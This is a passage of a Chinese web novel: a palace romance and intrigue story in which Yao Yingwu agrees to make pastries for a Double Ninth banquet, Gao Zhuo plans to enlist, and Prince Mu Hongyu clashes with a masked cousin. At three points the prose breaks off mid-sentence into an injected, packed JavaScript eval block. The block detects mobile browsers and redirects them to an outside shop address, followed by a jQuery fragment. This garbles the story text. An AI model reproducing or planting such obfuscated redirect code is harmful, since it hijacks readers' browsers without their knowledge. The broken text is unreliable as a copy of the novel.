说完,姚映梧又对两人说:“这是我表兄裴虑衡,刚随我舅舅和表姐从滕州来的。” 肖遥?裴虑衡眉头一紧,他怎么也没想到她居然是肖遥。 肖遥想着既是阿缘的表兄,自己也该好好招待才是。她对裴虑衡说:“我与阿缘是至交好友,裴公子是阿缘的表兄也自然是我肖遥的贵客。马场的主人是我父亲多年的至交好友,有许多珍贵的好马。一会儿裴公子可跟我们一同去挑马。” “不行!”牧泓屿声音急促,语气中满含气愤。他飞快跑过来拉着肖遥到不远处,跑的时候还不忘回头怒目瞪两眼裴虑衡。 牧泓屿的声音让肖遥呼吸一滞,这下可惨了,来马场骑马没叫上他,他一会儿又得闹上一会儿了。 高琢难得看牧泓屿吃瘪,他骗他努力抓鱼的事他还记着仇呢,没想到这么快就来报应了。高琢难掩高兴,两眼放光等着看好戏。 “高琢。”姚映梧不满的用胳膊轻轻推了高琢一下,她一心害怕两人会打起来。一个是她的表兄,一个是她的朋友,她本就满怀的担忧,结果高琢还在看热闹。 高琢见阿缘的眉头紧皱,赶忙换了一副正经的神色。他清清嗓子,“放心阿缘,一会出什么事我都拦着他们。” 牧泓屿拉着肖遥走开,张牙舞爪的神情顿时换成一副可怜兮兮的样子,“阿遥,你怎么能随便带人来这骑马呢。更何况还是一个来路不明的男人。” 牧泓屿恶狠狠瞪了身后的裴虑衡一眼,故意提高声音道:“大白日还带着一副面具,鬼鬼祟祟的样子别是见不得人吧。他……” “住嘴!牧泓屿。”肖遥眼疾手快捂住了牧泓屿的嘴,“别胡说,这是阿缘的表兄。” 肖遥的掌心的温热驱散了牧泓屿的气愤,他用脑袋蹭蹭肖遥的手心,“是姚映梧的表兄也不行,阿遥你只许带我骑你心爱的汗血马。” 肖遥不轻不重地拍了牧泓屿一掌,“莽叔养了不少好马,我给他重新挑一匹。一会儿去给人家道歉,不然,你日后也别想再和我一同骑马了。” 日后,牧泓屿眼睛一亮,这么说阿遥还要约他一起骑马喽。他喜不自胜,点头道:“放心吧阿遥,我这就去给他道歉。” 牧泓屿的话狠狠扎进了裴虑衡的心里,他悲愤又无奈,只是远远看着两人在远处交谈打闹的身影。 察觉到表兄的难过,姚映梧手足无措的安慰道:“表兄你别难过,牧泓屿他说话一向如此。” 高琢也在一旁附和道:“是啊是啊,表兄你别跟他一般见识。牧泓屿毕竟是皇子,说话就这么难听。” 高琢想起自己被损的日子就更加共情表兄。 “皇子?他是皇子?”裴虑衡的声音嘶哑低沉,每一个字都饱含悲怆。 脸受伤的事情,表兄从小到大一定听了不少风言风语。见他伤心至此姚映梧心急如焚,却不知怎么安慰能让表兄开心。 高琢没察觉有什么不对的地方继续和裴虑衡说着话,“七皇子牧泓屿,陛下最小的皇子。表兄你刚从滕州来不清楚也正常。” “……泓屿,是哪两个字?”裴虑衡迟疑片刻问道。 “泓是我皇祖父给孙辈的字,水深而广澄澈浩瀚。屿,是我父皇和母后给我取的,取自诗中‘水落沙屿出’。”牧泓屿一见他就气不打一处来,又听他打听自己,随口就胡说起来,其实他根本不知道自己为何叫这个名字。 再说了,名字而已。对他而言,自出生后就丧母也不在父亲期许中长大,叫什么都一样。 姚映梧厉声对牧泓屿道:“牧泓屿,我表兄是受了伤才带面具的,而非你口中什么见不得人。若你还当我是朋友,就跟他道歉。” 肖遥提醒地拉拉牧泓屿的衣袖,他负手而立脸上挂着似笑非笑的神情,眼里却满是警告的意味。“裴公子,刚才是我无礼了。请你,见谅。” 肖遥好久都没见过如此的严肃正经的牧泓屿,全身上下的刺都竖了起来,眼神满是敌意。自他被陛下轻视,失足从马上摔下来被自己救了后,他很久没这样过了。 面具下的裴虑衡轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217009|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道:“不妨事的七皇子,裴某不怪你。” 牧泓屿眉心一皱,气氛又瞬间冷了下来。姚映梧左看右看,实在是不知该怎么办。她只能求救地拉过肖遥,恳切道:“皎皎,不知姜燃姑娘那有没有什么祛疤的药膏。我表兄小时候被烧伤了,不知还能不能治。” “烧伤?”肖遥给他戴面具时见到了那触目惊心的疤痕,有几处像是刀剑留下的疤。但她毕竟没习过医,认错了也有可能。 “疤毕竟隔了很长时间,治好的可能不大。不过阿缘你放心,我和姜燃还有姜煜姐都会想办法的。” 说到姜燃,肖遥蹭了下姚映梧的掌心。听到姜燃的名字和肖遥的暗示,姚映梧顿时明白,高琢与红豆真的认识但皎皎不方便说。 姚映梧点点头,回给肖遥一个眼神。姜燃姑娘的事她会瞒着,也不会多问的。她行走江湖,肯定有许多不能说出来的苦衷。 面具挡住了裴虑衡的脸,但牧泓屿还是能感觉到他似有似无的目光落在肖遥身上。他怒不可遏,他只有阿遥了,为什么还有人跟他抢。他阴沉着脸色对姚映梧和高琢道:“今日我找阿遥还有要事谈,改日我再约你们骑马吧。” 姚映梧松了口气,夹在中间她还真不知该怎么办。她应声道:“好,咱们改日再约。” 牧泓屿抓住肖遥的手,递给她楚楚可怜的眼神。肖遥于心不忍,便跟着他走了。临走时还不忘告诉姚映梧与高琢,去找莽叔说她的名字他会给他们挑最好的马。 姚映梧转身面向裴虑衡,却看裴虑衡还在看着牧泓屿与肖遥离开的背影。 “表兄,那些话你别放心上。肖遥是他自小喜欢的姑娘,见你与她亲近,他才说了些难听的话。” 姚映梧两头说和着,她就这么几个亲人这几个朋友,可千万别闹得难看了。 “咦,阿缘那是谁啊。” 高琢见不远处一位妇人拿着马球杖,站在那一动不动盯着他们。姚映梧顺着看去,发现是表姐,她向表姐招招手又对高琢说:“这是我表姐裴虞卿。” 裴虞卿看姚映梧挥手,才笑着走道他们跟前。 “看你们聊的开心,我也就没打扰你们。那姑娘就是肖遥吗?” 姚映梧笑道:“是啊表姐,你也知道肖遥吗。改日我带表姐见见她。” “肖遥将军大胜闼鞑,滕州都传开了。若阿缘真能引我见见她,我可得好好谢谢你才行。” “表姐和表兄要跟我们一起骑马吗?” “不了,我与阿衡刚打完马球。也该早些回驿馆省得让父亲担心。” 裴虞卿说完就拉着裴虑衡马不停蹄的走了,姚映梧都没来得及跟他们道个别。 高琢见他们都走了心里开心极了,他终于可以和阿缘一起骑马了。姚映梧此时却对高琢说:“高琢,我有要事跟你说。” 巍峨的太清宫此时殿门紧闭,牧怀兴坐在龙椅上闭目养神。桌上,摆的不是奏议,而是和羹居的桂花糖糕。 莫内侍与高羡站在殿下,高羡冲莫内侍递了个眼神,莫内侍便先上前开口道:“陛下,和羹居卖的就是普普通通的桂花糖糕,贤妃娘娘与姚二小姐都爱吃。二小姐病好应该与此糕无关。” 牧怀兴睁开眼,盯着高羡道:“高羡你说的是真的吗?” 高羡赶忙回道:“陛下臣绝无妄言。陛下病得越来越重,急需再有灵药才行。若依此计,借贤妃娘娘和姚二小姐让裴尚书交出仙宫所在,陛下的病才能有救啊。为了陛下的圣体,臣只好出此下策了。” 高羡直视着牧怀兴的眼睛,他知道,坐到至高之位比常人还怕死,他绝对会同意的。到时候,他就能…… 咳咳咳,咳咳咳—— 牧怀兴咳得厉害,莫内侍忙上前伺候陛下。 “好。” 得到满意的答案,高羡垂下头用力压住嘴角。 “臣,立刻去办。只是……”高羡抬起头,“臣还需陛下恩准,给臣一样东西。” 42. 一颗诚心 秋风带着凉意,吹动满树叶。 姚映梧和高琢没有去骑马,只是在马场外摞起的干草垛上静静的坐着。 半刻前,姚映梧对高琢说了父亲讲的话。说这些话的时候,她甚至都没敢看高琢的眼睛。 听完姚映梧的话,高琢垂下头半天才磕巴的讲出一句话,“阿缘,你父亲说得对。我,我如今连一官半职都没有,跟你在一起,我……” “你…”高琢的回答让姚映梧攒了一肚子的话打了结,她气急,想质问高琢,难道在他眼里她是只在乎官职和身份的人?她在乎的是,他们若在一起,他就要答应父亲不与高家人来往了。她不希望因为她,让他日后不能再见家人,她不想让他夹在她与高家间从中只能选一个。 可话到嘴边,姚映梧却发现自己开不了口。她满腔的气愤霎时间消失的无影无踪,她害怕知道高琢的选择。 于是,她就与高琢就坐在了马场的草垛上,就这样坐着,没人说话。 “我…我早没有家人了。”高琢盯着马场内奔腾的马儿说道。 姚映梧回过头看着高琢,不敢相信自己听到了什么。 见阿缘看过来,高琢却轻松的对她笑道:“我之前一直想告诉你我的身世,可按你的性子,我怕你觉得我可怜,即使讨厌我也不忍心赶我。后来你我表明心意,可那些悠然自得的日子早让我把这件事抛到了脑后。阿缘,今日我该同你讲明了。我的父母被山匪所杀,是红豆阿姐和铃泷阿姐路过的时候救了我,让我重新有了一个家。后来战火烧到了山里的村庄,阿姐们死了。偌大的家里只剩我和兄长,忆欢还有尘起哥。盛安比家乡的山村大多,也复杂多了。高府只是高府,再也不是家了。” 高琢拉起姚映梧,无比认真道:“兄长在盛安被权势迷了眼,我也不想他这样。阿缘你放心,肖遥答应我愿意帮我作保去铁甲覆面军参军。等我立了军功回来,在朝中兄长不再是孤身一人,也许他就能变回以前的样子了。到时候,有军功傍身,我才有脸去求你父亲,求他同意把你嫁给我。我会努力立一个大功,把长姐换出宫来,到时候我们一家人好好的在一起团聚,再也不分开了。阿缘,我要给你这世上最好,最幸福的家。” 一番刨心的话让姚映梧湿了眼眶,“傻瓜,军功不是那么好立的。战场凶险,闼鞑人凶残。铁甲覆面军是何等的骁勇,还不是有许多人战死沙场。太危险了……” “阿缘我不怕危险。不管多难我都会去做的。阿缘,等我回来我们就好好的,好好的在一起。” 高琢认真的神情灼伤了姚映梧的眼睛,双眼不受控的落下眼泪。她片刻才笑着回道:“好,高琢。你若去了,我就在盛安等你回来。” 牧泓屿和肖遥一起回了定远侯府,一路上他讲了自己将去嘉州做郡王的事,顺便还提了一嘴那个讨厌的莫内侍,总是缠着他喋喋不休的说个不停。 “莫内侍?”肖遥瞬间明白了那个内侍的用意,两个皇子都有盛安世家支持,若想从世家中搏一把,就得选一个新的皇子来支持。 扶持新皇子只是一个内侍可不够,他背后的人会是谁呢? 肖遥正深思着,却远远瞥见姜煜神色匆匆披甲而出。肖遥顾不上思索这些,赶忙追了上去。“阿姜姐!你这是……” 姜煜听见肖遥的声音,赶忙藏起脸上的焦急和担忧。她回过身,强挤出笑来,脑子却混沌的脱口而出。 “皎皎你杀死拓跋恃后,他的弟弟拓跋冽得知此事一直预谋向肖家报仇。几日前,他突袭庆州,此人不比拓跋恃善兵法摆阵,一肚子奸诈诡计只要能赢什么手段都用。逾哥和今月深陷苦战,南雁和北休虽能随军作战可毕竟年纪尚小,蔺州那边侯爷和夫人又不能离开,我实在是担心。老侯爷今日请了旨,准我和几个在盛安的将士重返庆州领兵作战。皎皎,我要走了。帮我告诉红豆一声,叫她别担心我,我很快就回来。” 姜煜说完抬腿便走,她害怕皎皎追问去庆州的将士是谁。 肖遥见此,便知自己的名字肯定不在圣旨上。她心下一凉,还是追上去笑嘱咐道:“好,阿姜姐你要小心啊。这封信,你帮我带给兄长,说高琢此人是皎皎的至交好友,可留在铁甲覆面军任用。阿姜姐,我…我在盛安等你凯旋。” 姜煜一走,肖遥却忍不住想哭。陛下召她回京受封时她就猜到,一回盛安可能就再也回不去蔺州了。 牧泓屿知道是军务,便没追在肖遥身后。可他远远见到肖遥落寞的身影,还是心疼的走上前。 “阿遥……” 牧泓屿实在不知自己说些什么好,还是硬着头皮道:“阿遥,时辰不早了。你饿不饿,要不要用点点心……” 肖遥疑惑的看向牧泓屿,他反应过来暗道,才巳时,吃什么吃。是不是和高琢待久了,变得和他一样笨了。 肖遥强打起精神,还得告诉红豆这件事呢。 “牧泓屿,我想吃金乳酥。” 到了初秋,酥山的踪影便彻底消失了。和羹居其他的特色点心也终于迎来机会,登上客人们的桌子被人们品尝。 出了说书人的事,和羹居闭门了几日。等重新开业,生意却还是一如既往的好。只是大堂里没了说书的一角,一切还都是老样子。 陶昌打着算盘,算着这几日折了多少银子。吴介还和其他伙计在大堂招呼客人,迎来送往,笑脸相待。 姚映梧与高琢坐在常待的那间雅间,窗边能看见街景。 吃惯了云昙做的栗子糕,高琢也就吃不惯和羹居的栗子糕了。他吃着桌上的桂花糖糕,对姚映梧说:“阿缘,糕还热,快趁热吃吧。” 街上,来来往往的人看花了姚映梧的眼睛。听见高琢喊她吃糕点,她应了一声,准备关窗时瞥见了人群中的高羡。 隔着窗,姚映梧虽然看的不太确切,但她确定,高羡也看见她了。 “阿缘,阿缘。你看什么呢。” 高琢又喊了姚映梧几声,见她一动不动,好奇的走到窗边来看。 “那是…兄长?兄长今日难得休沐,怎么不在家陪忆欢。” 高羡应该是看见她与高琢了,在和羹居门口下了马车,走进了进来。不一会儿,高羡便站在雅间外扣响了门。 敲门声让姚映梧有些不解,父亲与高羡因为告密她与皎皎的奏状,两人早就连表面关系都维持不住了,他看见自己与高琢在一起为什么还要来找他们呢。 见姚映梧微微蹙眉,高琢便知如今兄长出现不太好。他飞快起身拉开门,将高羡堵在门口。 “兄长,你是来找我的吗?一会儿我就回去,你先走吧。” 高羡见高琢这般紧张连门都不让他进,心中暗叹他有了心上人就忘了他这个兄长了。 他轻轻推开高琢,抬腿向雅间走,“我今日是有事来求姚二小姐的。” “哦?” 姚映梧动作一顿,莞尔一笑道:“高统领如今是陛下身边最得器重臣子,哪还需要来求我。统领有话直说无妨。” 高羡坐在桌前也不客气,给自己倒了一杯茶。 “姚二小姐可知重九节快到了,陛下想对太后尽点孝心,可宫里的点心总是不得太后心意。陛下一怒之下,罚了好几个人。” 高羡看了一眼姚映梧的脸色,见她无动于衷于是叹气道:“今日我去见陛下,陛下说起这件事就一脸愁容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227004|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我顺嘴提起和羹居的糕点好吃,连贤妃娘娘入宫前都很喜欢。陛下得知后大喜过望,让我负责重九节宫宴上的糕点。我本想让和羹居的糕点师傅做糕点,可打听后才知太后是想念兰诏的糕点味道了。如此一来,和羹居的糕点便不合适了。更何况高某才入仕,就将陛下交代的事办砸,是在有失体统。” 姚映梧端起茶喝了一口,“那高统领是想?” 高羡笑道:“我一路上担忧又冥思苦想,终于记起来小姐身边有人会做兰诏的糕点。若二小姐愿意帮高某分忧,我可以向陛下举荐姑娘负责此事。此事若成高某也绝不贪功。不成,高某也愿为小姐担保与共担风险。而且,二小姐若愿意为帮高某这个忙,高某会想办法让小姐入尚食司为女官。” 做女官,高羡会这样帮姚家人吗?姚映梧淡淡笑道:“如此好事,高统领怎么会想起我来呢?” 高羡脸上的笑意褪去,严肃道:“不瞒姑娘,一来,是我不想放弃这个机会让陛下看轻高某。这二来吗……” 高羡瞥了一眼高琢,满脸写满了忧愁。 “这二来,就是希望二小姐能借此做女官入宫,日后有机会谋得圣恩,达成心愿。小琢他…他告诉过忆欢,说他可能一时半会回不来家看她了。忆欢很担心,所以悄悄来问我,是不是我把他给赶走了。我多方打听才知,肖遥将军派人问过小琢的身体怎么样……战场凶险,忆欢她还小,承受不住接二连三失去家人的痛苦的。我不仅是为了二小姐,更是为了小琢,也是为了忆欢。” 一番肺腑之言,说得姚映梧有些抬不起头来。高羡一心谋权,都能为了高琢来帮她。可父亲却因为看不惯高羡,让高琢与高家人断绝关系。 她惭愧道:“战场凶险,我也担心高琢。高统领愿意不计前嫌帮助映梧,映梧自是感激不尽,也愿意帮高统领分忧。只是若高琢真与我在一起,统领真的愿意吗?” 高羡闭上眼睛,他知若此事真成了后果是无法挽回的。可开弓没有回头箭,他红着眼眶睁开眼,“小琢大了,我也不能强留他在身边。我们虽不是亲生的兄弟,但他想做什么,我这个当兄长的也只有支持他了。” 他又望向高琢,说:“丞相大人是不会轻易同意此事的,小琢若你真想与姚二小姐在一起,不管丞相大人说什么你都同意吧。无论什么时候,只要你想回家,兄长和忆欢都会等你回来的。” 说完,高羡起身告辞,“二小姐只需在府中准备糕点静候佳音即可,剩下的事,高某会做好的。” “兄长,兄长。”高琢追出门口喊了好几声,高羡都没有回头看他。兄长只顾着一味与阿缘说话,都没跟他说上一句。 高琢失魂落魄的回到屋子,“阿缘,兄长他……” “他毕竟是你的兄长,无论他做什么,他总是疼爱你的。”姚映梧柔声安慰着高琢。 啪! 房门被重重推开,肖遥与牧泓屿推门进来。 两人刚到和羹居,就看见高琢追着一个人出来。肖遥认出那人是高羡,此话一出,牧泓屿便紧紧皱起了眉。 肖遥和牧泓屿知道他们也在和羹居,两人就找了过来。姚映梧见推门的是他们,激动的拉着肖遥说了做女官的事。见姚映梧与肖遥开心,牧泓屿也不知怎么开口好了。 他清清嗓子提醒道:“若真是好事,他怎么不让高琢去呢?姚映梧,你还是……” “不会的!”高琢原本正难过着,听到这话却立刻厉声反驳道,“我兄长知道阿缘是我的心上人,他不会害她的。” 牧泓屿冷笑一声,反驳道:“那也说不准吧。人心难测,你怎么知道你兄长没有什么不为人知的小心思。” 43. 石榴与蓬饵糕 两人剑拔弩张,谁也不肯让着谁。肖遥和姚映梧见势不对,赶紧拉开了两人。姚映梧拉着高琢到窗边,“你的兄长你最了解了,别人不信我信你。别气了高琢。” 高琢瞟了一眼牧泓屿的背影,哼了一声,“阿缘我听你的,不和他一般见识。” 门边的肖遥无奈地叹气,“你怎么能当着高琢的面说他兄长的坏话呢。你最近是怎么了,脾气愈发大了。先是阿缘的表兄又是高琢的兄长,小七你不能这样。” 最近出现在他身边的莫内侍搅得他心神不安,听见肖遥像小时候一样叫他小七,牧泓屿焦躁的心终于寻到了一丝安宁。 牧泓屿瞥一眼高琢,想试试他知不知道他兄长与莫内侍的事。 “谁知道他有没有掺和他兄长的事,他与他兄长一母同胞,是不是一种人也很难说得准。” 一提到兄长与自己,高琢全身泄了气。他想他们是朋友,总该告诉他们自己的身世。 他恹恹道:“兄长和我不是……我是孤儿,是兄长和嫂嫂收留了我。” 听高琢这样说,肖遥这才想起红豆那日话中的不对劲。她说高羡是那村长的养子,可高琢却是她和铃泷姑娘从山下的流寇手中救出来的。她那日喝了酒脑袋糊涂,都没发觉有什么异常。原来,竟是这样…… 肖遥没见过高琢失魂落魄的样子,她愤愤地瞪了牧泓屿一眼。瞪完还递给他一个眼神,让他说点什么安慰高琢。 牧泓屿示意肖遥放心,他走到高琢身边拍拍他的肩。 “你们既不是亲兄弟有很多事他应该也不便告诉你。高琢,我一直拿你当朋友。可很多话我也不便与你讲明,若你心里真的有姚映梧,也拿我与阿遥当朋友,你就对高…对高府多留心。” 牧泓屿自认不会去见高羡,更不会听莫内侍的三言两语就心生夺嫡之意。如此,也不用对他们完完整整说明白这件事。高琢对熟悉的人总是掏心掏肺的好,不设防的信任。姚映梧,更是不愿以恶意揣度别人的性子。阿遥这身份更不适合搅进这摊浑水。高羡想帮他夺嫡,这样刀刀见血的事,他不想让高琢和她们知道。话一说开,阿遥与姚映梧免不了忧心费神,高琢更无法自处。他只能提醒高琢让他留心,以免日后发生什么无法挽回的局面。 这件事他就自己瞒着吧,何苦脏了高琢与她们的耳朵。只要在他去嘉州前不见莫内侍与高羡,高琢再注意着高羡,他们应该就没办法了吧…… 牧泓屿拍在肩膀的力度让高琢心惊胆战,他身在皇室肯定比自己敏锐得多。高琢看向牧泓屿的眼睛,他眼里是藏不住的担忧。高琢心里猛然咯噔一下,牧泓屿真正想说的是高府,还是他兄长高羡呢。 高琢满心不安,对牧泓屿递去一个感激的眼神。看来最近他得回高府住了。 人声鼎沸的和羹居打破几人的气氛,姚映梧见他们和好如初便放心了。 她先起身道:“我答应了高统领做重九节宫宴的糕点,我得先回去同云昙商量商量。” 高琢道:“阿缘我要回高府住,咱们离得近一起走吧。” 肖遥见高琢要回高府,心想这是一个好机会。她提出和高琢一起回高府,顺便看看他的功夫。当然,还是为了见红豆。 牧泓屿罕见没有跟着肖遥,他道:“每次宫宴母后总要自己亲自操办,我要赶紧回宫帮母后。到时候宫宴,我定亲自下帖子请你们。” 又一次站在高府鎏金牌匾前,高琢心情无比复杂。 上次回来,还是阿缘的生辰夜。 肖遥不知怎么,已经到了高府门口突然又说要走了。 临走之前,肖遥语重心长叮嘱道:“高琢战场凶险,若你后悔,我还能派人把给我兄长的信追回来。” 高琢笑道:“高琢绝不后悔。多谢肖遥将军成全,高琢日后定会报答。” 肖遥得到了意料之中的答案,郁闷的心情也好了不少。她刚刚看见红豆了,她去了高府后门,她得赶紧追上她。 高府后门,姜燃心中焦躁。什么事需要肖遥现在来找她。 肖遥往高府后门走去,在高府外,她拿不准有多少耳朵和眼睛。自是不能与姜燃热切的说话。 她装作若无其事的样子路过姜燃,轻声说道:“闼鞑来犯阿姜姐随军去了庆州,等打了胜仗就回,别担心。还有红豆,下次回来给我带些烧伤祛疤的药膏,我有急用。” 轻飘飘几句话擦着姜燃的耳边过去,却震得她浑身冰凉。连路过马车扬起的微尘,她都没心情躲开了。 姐姐…… 路过肖遥时,马车刻意放慢了速度,马蹄下踩碎的尘土也刻意避开了她的衣角。 裴虑衡掀开车帘,盯着肖遥匆匆走过的身影,心中升起一丝雀跃。可转念一想起牧泓屿,那丝雀跃也变成了气愤。他想愤愤拉上车帘,手却动不了,眼睛也挪不开。直到肖遥身影彻底看不见,他才能能动。 裴虑衡怔怔摸上脸上的白虎面具,戴上白虎面具后,他走出马车时投来的目光更多了。以前多是好奇和鄙夷,现在更多人都是在崇拜他,说他是铁甲覆面军是大邺的英雄。 她手指轻抚过脸颊的触感尚存,他自己都不敢细看的脸,她居然一点也不怕。 这想法一出现,裴虑衡不禁浅笑。也是,她可是杀敌无数的将军,怎么会怕这些。 他瞟了一眼裴虞卿,长姐正闭目养神,没注意到他的小动作。他松了一口气,今日遇见肖遥实属意外,他也没想到会在马场见到她。 正午刚过,莫内侍便来丞相府传圣旨,命姚映梧准备重九宫宴。 暗香院的桂树经太阳晒后,桂香气扑鼻,引得许多家仆驻足观赏。 姚映梧也去长姐的暗香院摘了满满一箩筐的桂花,准备和云昙一起做桂花蜜。姚映梧也存了私心,她想在宫宴上做桂花糖糕和长姐一起吃。 “小姐,你知不知道太后爱吃什么呀?”云昙手上翻着桂花道。 姚映梧苦恼地摇头,“我特意问过皎皎和牧泓屿,他们都说不清楚,难怪高羡不愿接手这件事。连太后的喜好都不知道,那做些什么糕点好呢?” “唉,小姐,你不是说不是说太后是兰诏人吗。我小时候在兰诏,家家户户在重九节都会喝菊花酒吃蓬饵的。大邺的重九节,大家都是喝茱萸酒吃栗子糕。太后来盛安这么多年,肯定也想再尝尝蓬饵的味道。” 云昙这句话直接点醒了姚映梧,对啊,也许太后根本不在乎点心是否名贵,只是离家多年想吃一次兰诏的味道。 那宫宴上,她何不将兰诏和大邺糕点糅合在一起。这样太后满意,陛下也高兴。长姐也能吃到她亲手做的桂花糖糕了。 姚映梧拿起纸笔,说:“云昙,兰诏还有什么有名的糕点,你都说出来,我们一会儿做着尝尝看看哪个好吃。” 高琢回到高府后,最开心的就是忆欢。她缠着高琢,两人玩了好一会儿。直到高琢想起他还有画还没画完,得去新宅子取,忆欢才恋恋不舍的回了自己屋子。 秋日,石榴红了。 盛安许多贩夫都挎着竹篮,走街串巷的卖石榴。高琢取回画,正好碰上一个卖石榴的人。他见他篮子里的石榴又大又红,品相出奇的好。他记得忆欢最爱吃石榴了,只是石榴难剥,她自己不爱剥。 高琢挑了几个最好的,带回去给忆欢。想着忆欢开心的样子,高琢也心中暗喜。一会儿路过丞相府,也给阿缘送去几个。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236438|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 难听的埙声响起时,姚映梧正和云昙吃着热乎乎的蓬饵。 “小姐,高公子来了。”听多了不堪入耳埙声,云昙如今已经能面不改色的说出高琢来了这种话。 姚映梧端起刚出锅的蓬饵,“云昙你也休息一会儿,我出去瞧瞧高琢。” 熟悉的墙角,熟悉的人。 “阿缘,给你带的石榴。” 高琢举着红彤彤的石榴到姚映梧眼前时,她不禁笑起来。 “喏,云昙蒸的蓬饵。你尝尝好不好吃。” 高琢麻利的将石榴用布包好放在矮墙上,又接过蓬饵用银叉叉起一块尝尝。 入口一股米香,咀嚼时混着草木香气。高琢惊喜道:“这是什么,我从来都没吃过呢。” 姚映梧笑着解释道:“是蓬饵,用米粉和蓬草汁混合蒸的。是兰诏人过重九节吃的。” 高琢又吃了一块,“难怪,我说怎么没吃过。” 姚映梧好奇道:“你之前在家乡过重九节吃什么呀?你家乡离兰诏也近,有没有什么特别点心。” 高琢笑容一顿,他眼神飘忽道:“我们家乡…不过重九节的。” “不过重九节吗?” 姚映梧看高琢脸色不太好,一阵阵发白。她担心道:“高琢,你怎么了?” “啊?我…我就是想起来答应了忆欢给她带石榴回去。” 姚映梧掩唇一笑,她知道这个年纪的小孩耐不住性子等的,明桉那时候想要什么就得立刻拿到手才行。 “那你别让忆欢等急了,我也得赶快回去了。我还要和云昙做别的糕点呢。” 姚映梧拿起石榴,沉甸甸的果子在手中很有分量。 她抱着果子道:“等我吃到好吃的点心,就给你送高府去。” 高琢僵笑两声,点头道:“好阿缘,这个我也带给忆欢尝尝。” 姚映梧看着高琢呆呆的样子莞尔一笑,抱着石榴回去了。 高琢见姚映梧没有深问,他松了一大口气。来盛安前,兄长特意叮嘱他,家乡偏僻习俗与其他人不同。千万不能多说家乡的风俗和事情,说出来会让大家觉得他们与其他大邺人格格不入,会打心里觉得他们是异类。 还好阿缘没多问,不然他肯定要说家乡习俗和大家不一样了。 兄长说得那般严肃,他也一直记在心里。他不想让阿缘觉得他和她一点也不一样。 高琢长舒一口气看着手里的糕,想着忆欢今日有口福了。 回到高府,高琢一直在作画。他想赶在宫宴那天,把画给他们。等高琢全画完时,天已经黑透了。忆欢吃完糕点等高琢实在等的无聊了,自己趴着塌上睡着了。高琢将石榴都剥好,放进盘子中。又给忆欢盖了条毯子,怕她着风。 “唔……”忆欢翻了个身,迷瞪着睁开了眼。 “阿琢哥哥,是剥好的石榴。” 忆欢刚睡醒,神情还呆愣愣的。但她还是咧着嘴开心的笑着。 高琢将画都卷起,放进画筒。他揉揉忆欢的小脸,“还傻笑呢,赶紧吃吧。” 朦胧的月光照在装着石榴的瓷盘中也落在杂草丛生的院中,落满灰的密室依旧。 “舵主,荆南的事,主人是怎么说的?”身穿藏青袍子的使者垂头问道。 黑袍下,舵主的脸阴暗不明,“放心,主人也已经到盛安来了。到时候花娘,石豆还有荆南,主人都会替他们报仇不会让他们白死的。进了独春,大家便都是家人。在大邺牧家的压迫下生活不好的姐妹兄弟,主人都会替我们做主的。” “多谢主人,多谢舵主。”藏青袍子的人嘴中高呼主人与舵主,眼睛却看着小主人给的信物暗暗深思。 44. 难逃囚困方寸间 夜阑人静,月白风清。 苍平宫旁,是先帝在世时为太后修建的梨棠苑,里面种了满院的梨树。只可惜,现在已经过了梨花盛开的季节。 姚昭桦自入宫后就经常来这坐着发呆,太后对她很好,不仅时常让三一姑姑来看她给她带东西,还点拨她让她装病躲开宫中繁杂的规矩和形形色色的人。 皇后人也很好,安排她住在清净的苍平宫,准她在宫中安心养病不许旁人扰她。 除了三一姑姑来时会热闹一下,其他时间苍平宫一直都安静冷清的。宫里拨给姚昭桦的宫人,她都将她们安排在外殿,身边只有柳笛和青萝陪着。 阿缘偶尔会让木樨带信进来,她总回信说宫里一切好,叫她不要担心自己。 谎话说久了,连姚昭桦自己都分不清自己究竟好不好了。 梨棠苑的夜晚跟苍平宫一样静,姚昭桦看着满园的梨树叹了一口气。 幸好青萝同自己一起入宫了,她用从娘亲那学来的手艺给她按家里的样子修缮好了花圃。闲暇时,她们就在花圃说着姚家和记忆中的娘亲。 今夜,天上是弦月。 姚昭桦坐在梨棠苑的秋千上吹着晚风。又快到重九节了,那日是明桉的生辰。自己给他留了一套上好的徽墨做生辰礼,就放在他屋里的书架上,不知道他看没看见。 秋风起,天气转凉。也不知道阿缘有没有按时添衣,虽说她现在是不咳了,万一着了风再发病可怎么办。 陛下身体越来越不好,父亲公务肯定也日益繁忙。母亲在父亲身边帮衬,还要操心府中事务,肯定也顾不上自己的身体。 唉,姚昭桦望着天上的弦月长叹一声。还记得她刚到宫中时,天上挂着的还是圆月呢。 牧彰施从母亲宫中出来后路过梨棠苑,看见的就是姚昭桦坐在秋千上叹气的场景。 